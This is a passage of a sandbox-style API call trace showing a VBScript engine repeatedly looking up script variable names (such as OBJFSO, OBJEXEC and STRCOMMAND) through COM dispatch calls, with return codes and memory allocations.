riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.671] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="ARRTEMP", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.671] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="ARRTEMP", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.671] GetCurrentThreadId () returned 0xd44 [0088.671] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.671] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.671] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="DICHELPLONG", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.671] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="DICHELPLONG", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.671] GetCurrentThreadId () returned 0xd44 [0088.671] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.671] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.672] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="DICHELPSHORT", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.672] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="DICHELPSHORT", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.672] GetCurrentThreadId () returned 0xd44 [0088.672] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.672] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.672] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="DICSYSTEMFILES", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.672] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="DICSYSTEMFILES", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.672] GetCurrentThreadId () returned 0xd44 [0088.672] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.672] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.672] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="BLNADDITIONAL", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.672] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="BLNADDITIONAL", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.672] GetCurrentThreadId () returned 0xd44 [0088.672] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.672] realloc (_Block=0x0, _Size=0xa0) returned 0x83d20a8 [0088.673] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.673] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="BLNDEBUG", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.673] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="BLNDEBUG", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.673] GetCurrentThreadId () returned 0xd44 [0088.673] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.673] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.673] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="BLNDEBUGLOG", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.673] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="BLNDEBUGLOG", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.673] GetCurrentThreadId () returned 0xd44 [0088.674] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.674] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.674] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="BLNIGNOREBATCH", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.674] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="BLNIGNOREBATCH", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.674] GetCurrentThreadId () returned 0xd44 [0088.674] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.674] malloc (_Size=0x804) returned 0x119a768 [0088.674] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.675] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="BLNNOADMIN", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.675] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="BLNNOADMIN", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.675] GetCurrentThreadId () returned 0xd44 [0088.675] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.675] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.675] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="BLNNOHLPCHR1", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.675] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="BLNNOHLPCHR1", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.675] GetCurrentThreadId () returned 0xd44 [0088.675] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.675] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.675] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="BLNOVERWRITE", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.675] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="BLNOVERWRITE", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.675] GetCurrentThreadId () returned 0xd44 [0088.676] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.676] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.676] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="BLNQUIET", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.676] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="BLNQUIET", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.676] GetCurrentThreadId () returned 0xd44 [0088.676] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.676] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.676] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="BLNWINDOWSONLY", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.676] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="BLNWINDOWSONLY", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.677] GetCurrentThreadId () returned 0xd44 [0088.677] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.677] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.677] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="OBJcorn", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.677] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="OBJcorn", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.677] GetCurrentThreadId () returned 0xd44 [0088.677] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.677] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.678] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="OBJthrone", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.678] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="OBJthrone", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.678] GetCurrentThreadId () returned 0xd44 [0088.678] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.678] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.678] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="OBJloyalty", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.678] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="OBJloyalty", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.678] GetCurrentThreadId () returned 0xd44 [0088.678] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.678] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.679] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="OBJmedal", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.679] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="OBJmedal", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.679] GetCurrentThreadId () returned 0xd44 [0088.679] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.679] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.679] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="OBJreactor", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.679] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="OBJreactor", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.679] GetCurrentThreadId () returned 0xd44 [0088.679] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.679] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.680] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="OBJcabinet", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.680] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="OBJcabinet", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.680] GetCurrentThreadId () returned 0xd44 [0088.680] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.680] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.680] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="COLITEMS", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.680] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="COLITEMS", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.680] GetCurrentThreadId () returned 0xd44 [0088.680] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.680] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.681] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="OBJDEBUGLOG", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.681] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="OBJDEBUGLOG", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.681] GetCurrentThreadId () returned 0xd44 [0088.681] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.681] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.681] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="OBJEXEC", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.681] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="OBJEXEC", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.681] GetCurrentThreadId () returned 0xd44 [0088.681] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.681] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.682] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="OBJHTMLFILE", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.682] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="OBJHTMLFILE", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.682] GetCurrentThreadId () returned 0xd44 [0088.682] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.682] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.682] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="OBJFOLDER", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.682] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="OBJFOLDER", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.682] GetCurrentThreadId () returned 0xd44 [0088.682] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.682] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.683] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="OBJFOLDERITEM", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.683] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="OBJFOLDERITEM", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.683] GetCurrentThreadId () returned 0xd44 [0088.683] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.683] realloc (_Block=0x83d20a8, _Size=0x140) returned 0x1198da8 [0088.683] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.683] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="OBJFSO", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.683] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="OBJFSO", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.683] GetCurrentThreadId () returned 0xd44 [0088.683] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.684] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.684] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="OBJITEM", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.684] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="OBJITEM", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.684] GetCurrentThreadId () returned 0xd44 [0088.684] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.684] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.684] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="OBJKEY", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.684] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="OBJKEY", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.684] GetCurrentThreadId () returned 0xd44 [0088.684] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.685] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.685] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="OBJMATCHES", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.685] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="OBJMATCHES", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.685] GetCurrentThreadId () returned 0xd44 [0088.685] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.685] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.685] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="OBJMATCHES2", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.685] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="OBJMATCHES2", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.685] GetCurrentThreadId () returned 0xd44 [0088.686] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.686] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.686] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STRALPHABET", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.686] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STRALPHABET", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.686] GetCurrentThreadId () returned 0xd44 [0088.686] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.686] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.686] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STRARG", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.686] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STRARG", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.686] GetCurrentThreadId () returned 0xd44 [0088.686] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.687] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.687] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STRCLASS", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.687] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STRCLASS", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.687] GetCurrentThreadId () returned 0xd44 [0088.687] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.687] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.687] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STRCMDINFO", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.687] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STRCMDINFO", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.687] GetCurrentThreadId () returned 0xd44 [0088.687] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.687] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.688] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STRCOMMAND", grfdex=0x8, pid=0x154d38 | out: 